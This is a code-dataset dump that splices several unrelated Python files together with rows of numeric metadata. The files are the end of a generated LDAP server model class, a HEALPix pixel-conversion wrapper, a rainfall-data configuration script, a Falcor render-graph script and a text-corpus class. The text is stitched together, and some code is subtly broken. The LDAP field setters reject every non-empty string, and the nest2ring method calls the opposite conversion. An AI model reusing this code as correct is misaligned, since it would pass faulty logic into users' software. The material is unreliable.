:type: bool """ self._group_subtree = group_subtree @property def group_object_class(self): """Gets the group_object_class of this CreateLdapServerXo. # noqa: E501 LDAP class for group objects. Required if groupType is static # noqa: E501 :return: The group_object_class of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._group_object_class @group_object_class.setter def group_object_class(self, group_object_class): """Sets the group_object_class of this CreateLdapServerXo. LDAP class for group objects. Required if groupType is static # noqa: E501 :param group_object_class: The group_object_class of this CreateLdapServerXo. # noqa: E501 :type: str """ if (self.local_vars_configuration.client_side_validation and group_object_class is not None and len(group_object_class) > 0): raise ValueError("Invalid value for `group_object_class`, length must be less than or equal to `0`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and group_object_class is not None and len(group_object_class) < 0): raise ValueError("Invalid value for `group_object_class`, length must be greater than or equal to `0`") # noqa: E501 self._group_object_class = group_object_class @property def group_id_attribute(self): """Gets the group_id_attribute of this CreateLdapServerXo. # noqa: E501 This field specifies the attribute of the Object class that defines the Group ID. Required if groupType is static # noqa: E501 :return: The group_id_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._group_id_attribute @group_id_attribute.setter def group_id_attribute(self, group_id_attribute): """Sets the group_id_attribute of this CreateLdapServerXo. This field specifies the attribute of the Object class that defines the Group ID. Required if groupType is static # noqa: E501 :param group_id_attribute: The group_id_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ if (self.local_vars_configuration.client_side_validation and group_id_attribute is not None and len(group_id_attribute) > 0): raise ValueError("Invalid value for `group_id_attribute`, length must be less than or equal to `0`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and group_id_attribute is not None and len(group_id_attribute) < 0): raise ValueError("Invalid value for `group_id_attribute`, length must be greater than or equal to `0`") # noqa: E501 self._group_id_attribute = group_id_attribute @property def group_member_attribute(self): """Gets the group_member_attribute of this CreateLdapServerXo. # noqa: E501 LDAP attribute containing the usernames for the group. Required if groupType is static # noqa: E501 :return: The group_member_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._group_member_attribute @group_member_attribute.setter def group_member_attribute(self, group_member_attribute): """Sets the group_member_attribute of this CreateLdapServerXo. LDAP attribute containing the usernames for the group. Required if groupType is static # noqa: E501 :param group_member_attribute: The group_member_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ if (self.local_vars_configuration.client_side_validation and group_member_attribute is not None and len(group_member_attribute) > 0): raise ValueError("Invalid value for `group_member_attribute`, length must be less than or equal to `0`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and group_member_attribute is not None and len(group_member_attribute) < 0): raise ValueError("Invalid value for `group_member_attribute`, length must be greater than or equal to `0`") # noqa: E501 self._group_member_attribute = group_member_attribute @property def group_member_format(self): """Gets the group_member_format of this CreateLdapServerXo. # noqa: E501 The format of user ID stored in the group member attribute. Required if groupType is static # noqa: E501 :return: The group_member_format of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._group_member_format @group_member_format.setter def group_member_format(self, group_member_format): """Sets the group_member_format of this CreateLdapServerXo. The format of user ID stored in the group member attribute. Required if groupType is static # noqa: E501 :param group_member_format: The group_member_format of this CreateLdapServerXo. # noqa: E501 :type: str """ if (self.local_vars_configuration.client_side_validation and group_member_format is not None and len(group_member_format) > 0): raise ValueError("Invalid value for `group_member_format`, length must be less than or equal to `0`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and group_member_format is not None and len(group_member_format) < 0): raise ValueError("Invalid value for `group_member_format`, length must be greater than or equal to `0`") # noqa: E501 self._group_member_format = group_member_format @property def user_member_of_attribute(self): """Gets the user_member_of_attribute of this CreateLdapServerXo. # noqa: E501 Set this to the attribute used to store the attribute which holds groups DN in the user object. Required if groupType is dynamic # noqa: E501 :return: The user_member_of_attribute of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._user_member_of_attribute @user_member_of_attribute.setter def user_member_of_attribute(self, user_member_of_attribute): """Sets the user_member_of_attribute of this CreateLdapServerXo. Set this to the attribute used to store the attribute which holds groups DN in the user object. Required if groupType is dynamic # noqa: E501 :param user_member_of_attribute: The user_member_of_attribute of this CreateLdapServerXo. # noqa: E501 :type: str """ if (self.local_vars_configuration.client_side_validation and user_member_of_attribute is not None and len(user_member_of_attribute) > 0): raise ValueError("Invalid value for `user_member_of_attribute`, length must be less than or equal to `0`") # noqa: E501 if (self.local_vars_configuration.client_side_validation and user_member_of_attribute is not None and len(user_member_of_attribute) < 0): raise ValueError("Invalid value for `user_member_of_attribute`, length must be greater than or equal to `0`") # noqa: E501 self._user_member_of_attribute = user_member_of_attribute @property def auth_password(self): """Gets the auth_password of this CreateLdapServerXo. # noqa: E501 The password to bind with. Required if authScheme other than none. # noqa: E501 :return: The auth_password of this CreateLdapServerXo. # noqa: E501 :rtype: str """ return self._auth_password @auth_password.setter def auth_password(self, auth_password): """Sets the auth_password of this CreateLdapServerXo. The password to bind with. Required if authScheme other than none. # noqa: E501 :param auth_password: The auth_password of this CreateLdapServerXo. # noqa: E501 :type: str """ if self.local_vars_configuration.client_side_validation and auth_password is None: # noqa: E501 raise ValueError("Invalid value for `auth_password`, must not be `None`") # noqa: E501 self._auth_password = auth_password def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CreateLdapServerXo): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, CreateLdapServerXo): return True return self.to_dict() != other.to_dict()
40.024851
752
0.67093
5,092
40,265
5.048704
0.052239
0.06286
0.112027
0.098024
0.783958
0.707484
0.65925
0.57873
0.526762
0.418469
0
0.02227
0.258388
40,265
1,005
753
40.064677
0.838652
0.383162
0
0.114094
1
0
0.157299
0.041591
0
0
0
0
0
1
0.147651
false
0.049217
0.008949
0
0.246085
0.004474
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
400ef3de7a04b6fcc00bb269966f563bba9d3435
11,701
py
Python
src/pycal/healpix.py
cmbgroundbased/libcal
9e8bf0cea4d36c76ec4444efd0c8d3ffffca2c0b
[ "BSD-2-Clause" ]
2
2020-12-15T11:11:37.000Z
2021-01-04T10:10:06.000Z
src/pycal/healpix.py
cmbgroundbased/libcal
9e8bf0cea4d36c76ec4444efd0c8d3ffffca2c0b
[ "BSD-2-Clause" ]
20
2020-07-11T09:33:10.000Z
2022-03-17T09:24:56.000Z
src/pycal/healpix.py
cmbgroundbased/libcal
9e8bf0cea4d36c76ec4444efd0c8d3ffffca2c0b
[ "BSD-2-Clause" ]
3
2020-07-29T16:48:17.000Z
2020-12-12T09:27:47.000Z
# Copyright (c) 2015-2020 by the parties listed in the AUTHORS file. # All rights reserved. Use of this source code is governed by # a BSD-style license that can be found in the LICENSE file. from .utils import ( Logger, AlignedF64, AlignedI64, ensure_buffer_f64, ensure_buffer_i64, object_ndim, ) from ._libcal import ( healpix_ang2vec, healpix_vec2ang, healpix_vecs2angpa, HealpixPixels, ) import numpy as np from .timing import function_timer def ang2vec(theta, phi): """Convert spherical coordinates to a unit vector. The theta angle is measured down from the North pole and phi is measured from the prime meridian. Args: theta (array_like): The spherical coordinate theta angles in radians. phi (array like): The spherical coordinate phi angles in radians. Returns: (array): The array of output vectors. """ intheta = ensure_buffer_f64(theta) inphi = ensure_buffer_f64(phi) ntheta = len(intheta) nphi = len(inphi) if ntheta != nphi: raise RuntimeError("theta / phi vectors must have the same length") vec = AlignedF64(3 * nphi) healpix_ang2vec(intheta, inphi, vec) if len(vec) == 3: if (object_ndim(theta) == 1) or (object_ndim(phi) == 1): return vec.array().reshape(1, 3) else: return vec.array() else: return vec.array().reshape((-1, 3)) def vec2ang(vec): """Convert unit vectors to spherical coordinates. The theta angle is measured down from the North pole and phi is measured from the prime meridian. Args: vec (array_like): The array of input vectors. Returns: (tuple): The (theta, phi) arrays in radians. """ invec = ensure_buffer_f64(vec) n = len(invec) // 3 theta = AlignedF64(n) phi = AlignedF64(n) healpix_vec2ang(invec, theta, phi) if len(vec) == 3: if object_ndim(vec) == 2: return (theta.array(), phi.array()) else: return (theta[0], phi[0]) else: return (theta.array(), phi.array()) def vecs2angpa(vec): """Convert direction / orientation unit vectors. The inputs are flat-packed pairs of direction and orientation unit vectors (6 float64 values total per sample). The outputs are the theta, phi, and position angle of the location on the sphere. The theta angle is measured down from the North pole and phi is measured from the prime meridian. The position angle is with respect to the local meridian at the point described by the theta / phi coordinates. Args: vec (array_like): The array of packed input direction and orientation vectors. Returns: (tuple): The (theta, phi, pa) arrays in radians. """ invec = ensure_buffer_f64(vec) n = len(invec) // 6 theta = AlignedF64(n) phi = AlignedF64(n) pa = AlignedF64(n) healpix_vecs2angpa(invec, theta, phi, pa) if len(vec) == 6: if object_ndim(vec) == 2: return (theta.array(), phi.array(), pa.array()) else: return (theta[0], phi[0], pa[0]) else: return (theta.array(), phi.array(), pa.array()) class Pixels(object): """Class for HEALPix pixel operations at a fixed NSIDE. This provides a very thin wrapper around the internal HealpixPixels class. This wrapper mainly exists to provide methods that return a newly created output buffer (rather than requiring the user to pass in the buffer). If you are happy pre-creating the output buffer then you can call methods of HealpixPixels directly. Args: nside (int): the map NSIDE. """ def __init__(self, nside=1): self.hpix = HealpixPixels(nside) def __del__(self): if self.hpix is not None: del self.hpix def reset(self, nside): """Reset the class instance to use a new NSIDE value. Args: nside (int): the map NSIDE. Returns: None """ self.hpix.reset(nside) return def ang2nest(self, theta, phi): """Convert spherical coordinates to pixels in NESTED ordering. The theta angle is measured down from the North pole and phi is measured from the prime meridian. Args: theta (array_like): Input spherical coordinate theta angles in radians. phi (array like): Input spherical coordinate phi angles in radians. Returns: (array): Output pixel indices. """ intheta = ensure_buffer_f64(theta) inphi = ensure_buffer_f64(phi) ntheta = len(intheta) nphi = len(inphi) if ntheta != nphi: raise RuntimeError("theta / phi vectors must have the same length") pix = AlignedI64(nphi) self.hpix.ang2nest(intheta, inphi, pix) if nphi == 1: if (object_ndim(theta) == 1) or (object_ndim(phi) == 1): return pix.array() else: return pix[0] else: return pix.array() def ang2ring(self, theta, phi): """Convert spherical coordinates to pixels in RING ordering. The theta angle is measured down from the North pole and phi is measured from the prime meridian. Args: theta (array_like): Input spherical coordinate theta angles in radians. phi (array like): Input spherical coordinate phi angles in radians. Returns: (array): Output pixel indices. """ intheta = ensure_buffer_f64(theta) inphi = ensure_buffer_f64(phi) ntheta = len(intheta) nphi = len(inphi) if ntheta != nphi: raise RuntimeError("theta / phi vectors must have the same length") pix = AlignedI64(nphi) self.hpix.ang2ring(intheta, inphi, pix) if nphi == 1: if (object_ndim(theta) == 1) or (object_ndim(phi) == 1): return pix.array() else: return pix[0] else: return pix.array() def vec2nest(self, vec): """Convert unit vectors to pixels in NESTED ordering. The theta angle is measured down from the North pole and phi is measured from the prime meridian. Args: vec (array_like): Input packed unit vectors. Returns: (array): Output pixel indices. """ invec = ensure_buffer_f64(vec) n = len(invec) // 3 pix = AlignedI64(n) self.hpix.vec2nest(invec, pix) if len(vec) == 3: if object_ndim(vec) == 2: return pix.array() else: return pix[0] else: return pix.array() def vec2ring(self, vec): """Convert unit vectors to pixels in RING ordering. The theta angle is measured down from the North pole and phi is measured from the prime meridian. Args: vec (array_like): Input packed unit vectors. Returns: (array): Output pixel indices. """ invec = ensure_buffer_f64(vec) n = len(invec) // 3 pix = AlignedI64(n) self.hpix.vec2ring(invec, pix) if len(vec) == 3: if object_ndim(vec) == 2: return pix.array() else: return pix[0] else: return pix.array() def ring2nest(self, ringpix): """Convert RING ordered pixel numbers into NESTED ordering. Args: in (array_like): Input pixel indices. Returns: (array): Output pixel indices. """ inpix = ensure_buffer_i64(ringpix) n = len(inpix) out = AlignedI64(n) self.hpix.ring2nest(inpix, out) if n == 1: if object_ndim(ringpix) == 1: return out.array() else: return out[0] else: return out.array() def nest2ring(self, nestpix): """Convert NESTED ordered pixel numbers into RING ordering. Args: in (array_like): Input pixel indices. Returns: (array): Output pixel indices. """ inpix = ensure_buffer_i64(nestpix) n = len(inpix) out = AlignedI64(n) self.hpix.ring2nest(inpix, out) if n == 1: if object_ndim(nestpix) == 1: return out.array() else: return out[0] else: return out.array() def degrade_ring(self, factor, inpix): """Degrade RING ordered pixel numbers. Each 'factor' is one division by two in the NSIDE resolution. So a factor of '3' would divide the NSIDE value by 8. Args: factor (int): The degrade factor. in (array_like): Input pixel indices. Returns: (array): Output pixel indices. """ inp = ensure_buffer_i64(inpix) n = len(inp) out = AlignedI64(n) self.hpix.degrade_ring(factor, inp, out) if n == 1: if object_ndim(inpix) == 1: return out.array() else: return out[0] else: return out.array() def degrade_nest(self, factor, inpix): """Degrade NESTED ordered pixel numbers. Each 'factor' is one division by two in the NSIDE resolution. So a factor of '3' would divide the NSIDE value by 8. Args: factor (int): The degrade factor. in (array_like): Input pixel indices. Returns: (array): Output pixel indices. """ inp = ensure_buffer_i64(inpix) n = len(inp) out = AlignedI64(n) self.hpix.degrade_nest(factor, inp, out) if n == 1: if object_ndim(inpix) == 1: return out.array() else: return out[0] else: return out.array() def upgrade_ring(self, factor, inpix): """Upgrade RING ordered pixel numbers. Each 'factor' is one multiplication by two in the NSIDE resolution. So a factor of '3' would multiply the NSIDE value by 8. Args: factor (int): The upgrade factor. inpix (array_like): Input pixel indices. Returns: (array): Output pixel indices. """ inp = ensure_buffer_i64(inpix) n = len(inp) out = AlignedI64(n) self.hpix.upgrade_ring(factor, inp, out) if n == 1: if object_ndim(inpix) == 1: return out.array() else: return out[0] else: return out.array() def upgrade_nest(self, factor, inpix): """Upgrade RING ordered pixel numbers. Each 'factor' is one multiplication by two in the NSIDE resolution. So a factor of '3' would multiply the NSIDE value by 8. Args: factor (int): The upgrade factor. inpix (array_like): Input pixel indices. Returns: (array): Output pixel indices. """ inp = ensure_buffer_i64(inpix) n = len(inp) out = AlignedI64(n) self.hpix.upgrade_nest(factor, inp, out) if n == 1: if object_ndim(inpix) == 1: return out.array() else: return out[0] else: return out.array()
27.926014
79
0.563883
1,426
11,701
4.563815
0.145161
0.039951
0.023971
0.035341
0.740166
0.73571
0.698371
0.674401
0.658574
0.638599
0
0.021825
0.34997
11,701
418
80
27.992823
0.833815
0.399111
0
0.683673
0
0
0.022091
0
0
0
0
0
0
1
0.081633
false
0
0.020408
0
0.311224
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
4012833e026d2ef87d8f082fc9d4e5cf625739d9
9,064
py
Python
scripts/to_echse.py
heistermann/trmmlib
b32cf623737285073e4c61bd0e01a0fe8b26c329
[ "MIT" ]
null
null
null
scripts/to_echse.py
heistermann/trmmlib
b32cf623737285073e4c61bd0e01a0fe8b26c329
[ "MIT" ]
null
null
null
scripts/to_echse.py
heistermann/trmmlib
b32cf623737285073e4c61bd0e01a0fe8b26c329
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #------------------------------------------------------------------------------- # Name: to_echse # Purpose: # # Authors: Maik Heistermann # # Created: 2015-11-6 # Copyright: (c) Maik Heistermann # Licence: The MIT License #------------------------------------------------------------------------------- #!/usr/bin/env python import trmmlib as tl import wradlib import datetime as dt def merge_dicts(*dict_args): """ Given any number of dicts, shallow copy and merge into a new dict, precedence goes to key value pairs in latter dicts. """ result = {} for dictionary in dict_args: result.update(dictionary) return result if __name__ == '__main__': # Interpolate rain gauges conf_gages = dict( tstart = "2001-01-01 03:30:00", tend = "2010-12-31 03:30:00", interval = 86400, timeshift = -dt.timedelta(seconds=4.5*3600), f_coords = "P:/progress/mahanadi/_qpe/gages_idw/locs.txt", f_data = "P:/progress/mahanadi/_qpe/gages_idw/data.txt", savefigs = "P:/progress/mahanadi/_qpe/gages_idw/maps", f_gage_data = "P:/progress/mahanadi/Precipitation/rain_gages/precip_data_noGaps.txt", f_gage_coords = "P:/progress/mahanadi/Precipitation/rain_gages/precip_locs_noGaps.txt", f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody = "Rain Gauge Interpolation IDW\nCatchment Rainfall", bbox = {"left":80., "bottom":19., "top":24., "right":86.}, trg_proj = wradlib.georef.epsg_to_osr(32645), map_proj = wradlib.georef.get_default_projection(), newcoords = True, levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300], verbose = False ) # TRMM 3B42 Research (Late) conf_trmm = dict( trmm_product = "daily3b42late", tstart = "1998-01-01 00:00:00", tend = "2015-04-30 00:00:00", interval = 86400, timeshift = dt.timedelta(seconds=24*3600), srcdir = "X:/trmm/3B42_daily_V07", f_coords = "P:/progress/mahanadi/_qpe/3B42_daily_research/coords.txt", f_data = "P:/progress/mahanadi/_qpe/3B42_daily_research/data.txt", savefigs = "P:/progress/mahanadi/_qpe/3B42_daily_research/maps", f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody = "TRMM 3B42 Research\nCatchment Rainfall", bbox = {"left":80., "bottom":19., "top":24., "right":86.}, trg_proj = wradlib.georef.epsg_to_osr(32645), map_proj = wradlib.georef.get_default_projection(), newcoords = True, levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300], verbose = False ) # TRMM 3B42 Real-Time (Early) conf_trmm_rt = dict( trmm_product = "daily3b42rt", tstart = "1998-01-01 00:00:00", tend = "2014-04-30 00:00:00", interval = 86400, timeshift = dt.timedelta(seconds=24*3600), srcdir = "X:/trmm/3B42RT_daily_V07", f_coords = "P:/progress/mahanadi/_qpe/3B42_daily_realtime/coords.txt", f_data = "P:/progress/mahanadi/_qpe/3B42_daily_realtime/data.txt", savefigs = "P:/progress/mahanadi/_qpe/3B42_daily_realtime/maps", f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody = "TRMM 3B42 Real-Time\nCatchment Rainfall", bbox = {"left":80., "bottom":19., "top":24., "right":86.}, trg_proj = wradlib.georef.epsg_to_osr(32645), map_proj = wradlib.georef.get_default_projection(), newcoords = True, levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300], verbose = False ) # GPM IMERG product conf_imerg = dict( trmm_product = "imerg/final/daily", tstart = "2014-04-01 00:00:00", tend = "2015-04-30 00:00:00", interval = 86400, timeshift = dt.timedelta(seconds=24*3600), srcdir = "X:/gpm/imerg/final/daily", f_coords = "P:/progress/mahanadi/_qpe/imerg/final/daily/coords.txt", f_data = "P:/progress/mahanadi/_qpe/imerg/final/daily/data.txt", savefigs = "P:/progress/mahanadi/_qpe/imerg/final/daily/maps", f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody = "IMERG Final\nCatchment Rainfall", bbox = {"left":80., "bottom":19., "top":24., "right":86.}, trg_proj = wradlib.georef.epsg_to_osr(32645), map_proj = wradlib.georef.get_default_projection(), newcoords = True, levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300], verbose = False ) # IMD4 Gridded rainfall Dataset conf_imd4 = dict( tstart = "1901-01-01 00:00:00", tend = "2013-12-31 00:00:00", interval = 86400, timeshift = dt.timedelta(seconds=0*3600), f_imd4 = "P:/progress/mahanadi/Precipitation/gridded_IMD/P.csv", f_coords = "P:/progress/mahanadi/_qpe/imd4/locs.txt", f_data = "P:/progress/mahanadi/_qpe/imd4/data.txt", savefigs = "P:/progress/mahanadi/_qpe/imd4/maps", f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody = "IMD4 Subsample\nCatchment Rainfall", bbox = {"left":80., "bottom":19., "top":24., "right":86.}, trg_proj = wradlib.georef.epsg_to_osr(32645), map_proj = wradlib.georef.get_default_projection(), newcoords = True, levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300], verbose = False ) # Products from XDS (same format as IMD4) conf_xds = dict( gridresolution=0.5, #xdsroot= "P:/progress/mahanadi/xds_20160510/ei", xdsroot= "P:/progress/mahanadi/EC.csv", echseext = ".echse", zonaldatacart = "imd4_zonal_poly_cart", fpattern = "pf.*.pl.t.csv", #fpattern = "T.*-*-*.csv", #fpattern = "T.csv", #fpattern = "P.csv", tstart = "2000-01-01 00:00:00", tend = "2021-01-01 00:00:00", interval = 86400, timeshift = dt.timedelta(seconds=8*3600), # f_coords = "P:/progress/mahanadi/_qpe/imd4/locs.txt", # f_data = "P:/progress/mahanadi/_qpe/imd4/data.txt", # savefigs = "P:/progress/mahanadi/_qpe/imd4/maps", # f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody = "IMD4 Subsample\nCatchment Rainfall", bbox = {"left":80., "bottom":19., "top":24., "right":86.}, trg_proj = wradlib.georef.epsg_to_osr(32645), map_proj = wradlib.georef.get_default_projection(), newcoords = True, levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300], verbose = False ) # To create a map for a specific ECHSE data file conf_mapping = dict( tstart="2000-07-15 08:00:00", tend="2000-07-17 08:00:00", interval=86400, f_coords = "P:/progress/mahanadi/_qpe/imd4/locs.txt", f_data = "P:/progress/mahanadi/xds_20160510/ei/pdd/P.echse", savefigs = "P:/progress/mahanadi/xds_20160510/ei/pdd/maps", f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt", f_cats_shp="P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp", figtxtbody="EI Subsample\nCatchment Rainfall", bbox={"left": 80., "bottom": 19., "top": 24., "right": 86.}, trg_proj=wradlib.georef.epsg_to_osr(32645), map_proj=wradlib.georef.get_default_projection(), levels=[0, 1, 5, 10, 15, 20, 30, 40, 50, 60, 70, 80, 90, 100, 150, 200, 250, 300], verbose=False ) # Compute subcatchment rainfall # tl.wflows.gages_to_echse2(conf_gages) # tl.wflows.imd4_to_echse2(conf_imd4) # tl.wflows.trmm_to_echse3(conf_trmm) # tl.wflows.trmm_to_echse3(conf_trmm_rt) # tl.wflows.trmm_to_echse3(conf_imerg) tl.wflows.xds_to_echse2(conf_xds) # Make maps for all time steps based on config # tl.wflows.maps_from_echse(conf_mapping)
41.577982
100
0.605803
1,197
9,064
4.409357
0.186299
0.068208
0.128837
0.071997
0.75161
0.750853
0.722622
0.636415
0.61709
0.582986
0
0.104413
0.234996
9,064
217
101
41.769585
0.656764
0.154568
0
0.5
0
0
0.3647
0.267972
0
0
0
0
0
1
0.006944
false
0
0.020833
0
0.034722
0
0
0
0
null
0
0
0
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
401c77f0fa2312410ea47eaff070aca03ed2b86e
1,380
py
Python
Source/RenderPasses/PixelInspectorPass/Data/GBufferRasterInspector.py
guiqi134/Falcor
480c0c0ac4633c5b60ff533eea2902da76112df7
[ "BSD-3-Clause" ]
2
2021-12-19T08:26:31.000Z
2022-01-24T09:17:32.000Z
Source/RenderPasses/PixelInspectorPass/Data/GBufferRasterInspector.py
shill-lucasfilm/Falcor
5236495554f57a734cc815522d95ae9a7dfe458a
[ "BSD-3-Clause" ]
null
null
null
Source/RenderPasses/PixelInspectorPass/Data/GBufferRasterInspector.py
shill-lucasfilm/Falcor
5236495554f57a734cc815522d95ae9a7dfe458a
[ "BSD-3-Clause" ]
null
null
null
from falcor import * def render_graph_DefaultRenderGraph(): g = RenderGraph('DefaultRenderGraph') loadRenderPassLibrary('GBuffer.dll') loadRenderPassLibrary('PixelInspectorPass.dll') GBufferRaster = createPass('GBufferRaster', {'samplePattern': SamplePattern.Center}) g.addPass(GBufferRaster, 'GBufferRaster') PixelInspectorPass = createPass('PixelInspectorPass') g.addPass(PixelInspectorPass, 'PixelInspectorPass') g.addEdge('GBufferRaster.posW', 'PixelInspectorPass.posW') g.addEdge('GBufferRaster.normW', 'PixelInspectorPass.normW') g.addEdge('GBufferRaster.tangentW', 'PixelInspectorPass.tangentW') g.addEdge('GBufferRaster.texC', 'PixelInspectorPass.texC') g.addEdge('GBufferRaster.diffuseOpacity', 'PixelInspectorPass.diffuseOpacity') g.addEdge('GBufferRaster.specRough', 'PixelInspectorPass.specRough') g.addEdge('GBufferRaster.emissive', 'PixelInspectorPass.emissive') g.addEdge('GBufferRaster.matlExtra', 'PixelInspectorPass.matlExtra') g.addEdge('GBufferRaster.faceNormalW', 'PixelInspectorPass.faceNormalW') g.addEdge('GBufferRaster.vbuffer', 'PixelInspectorPass.vbuffer') g.addEdge('GBufferRaster', 'PixelInspectorPass') g.markOutput('GBufferRaster.faceNormalW') return g DefaultRenderGraph = render_graph_DefaultRenderGraph() try: m.addGraph(DefaultRenderGraph) except NameError: None
49.285714
88
0.776812
114
1,380
9.368421
0.324561
0.082397
0.216292
0
0
0
0
0
0
0
0
0
0.1
1,380
27
89
51.111111
0.859903
0
0
0
0
0
0.485507
0.347826
0
0
0
0
0
1
0.04
false
0.68
0.04
0
0.12
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
4023a98ffd490d12efefa6c1c6c1fd928cbca707
1,874
py
Python
src/corpus/corpus_emerge_xray.py
uw-bionlp/ards
e9fc27f7034cc6b54f0ccdba4a58377948cf0258
[ "BSD-3-Clause" ]
null
null
null
src/corpus/corpus_emerge_xray.py
uw-bionlp/ards
e9fc27f7034cc6b54f0ccdba4a58377948cf0258
[ "BSD-3-Clause" ]
null
null
null
src/corpus/corpus_emerge_xray.py
uw-bionlp/ards
e9fc27f7034cc6b54f0ccdba4a58377948cf0258
[ "BSD-3-Clause" ]
null
null
null
import math import json import os import joblib import re import shutil import pandas as pd from multiprocessing import Pool import traceback from tqdm import tqdm import numpy as np from collections import OrderedDict, Counter import logging from pathlib import Path from datetime import datetime from corpus.corpus import Corpus DATE_FORMAT = "%Y-%m-%d-%H-%M-%S" #def id2stem(study_id, date, date_format=DATE_FORMAT): def id2stem(study_id, date): #date_str = date.strftime(date_format) filename = 'study{:04d}_{}'.format(study_id, date) return filename def id2filename(id): return id2stem(*id) #def parse_filename(filename, date_format=DATE_FORMAT): def parse_filename(filename): stem = Path(filename).stem study_id, date = tuple(stem.split('_')) study_id = int(re.sub('study', '', study_id)) #date = datetime.strptime(date, date_format) return (study_id, date) class CorpusEmergeXray(Corpus): ''' Corpus container (collection of documents) ''' def __init__(self): Corpus.__init__(self) #@override def id2stem(self, id): ''' Convert document ID to filename stem ''' study_id, date = id stem = id2stem(study_id, date) return stem #@override def counts(self, **kwargs): pc = self.patient_count(**kwargs) dc = self.doc_count(**kwargs) sc = self.sent_count(**kwargs) wc = self.word_count(**kwargs) columns = ['patient count', 'doc count', 'sent count', 'word count'] df = pd.DataFrame([[pc, dc, sc, wc]], columns=columns) return df def patient_count(self, **kwargs): ''' Get patient count ''' docs = self.docs(out_type='dict', **kwargs) study_ids = set([study_id for study_id, _ in docs]) return len(study_ids)
19.726316
76
0.64301
243
1,874
4.794239
0.349794
0.066094
0.075536
0.046352
0.11588
0.042918
0
0
0
0
0
0.005626
0.241195
1,874
94
77
19.93617
0.813643
0.161686
0
0
0
0
0.055296
0
0
0
0
0
0
1
0.152174
false
0
0.347826
0.021739
0.652174
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
40367342a13b1cb1c461cecc9c36da2ab408b945
649
py
Python
zcode/plot/__init__.py
lzkelley/zcode
55a63693fe3ad744957d7ce2d74fb4c8e09ea8ba
[ "MIT" ]
1
2021-02-11T03:24:55.000Z
2021-02-11T03:24:55.000Z
zcode/plot/__init__.py
lzkelley/zcode
55a63693fe3ad744957d7ce2d74fb4c8e09ea8ba
[ "MIT" ]
null
null
null
zcode/plot/__init__.py
lzkelley/zcode
55a63693fe3ad744957d7ce2d74fb4c8e09ea8ba
[ "MIT" ]
null
null
null
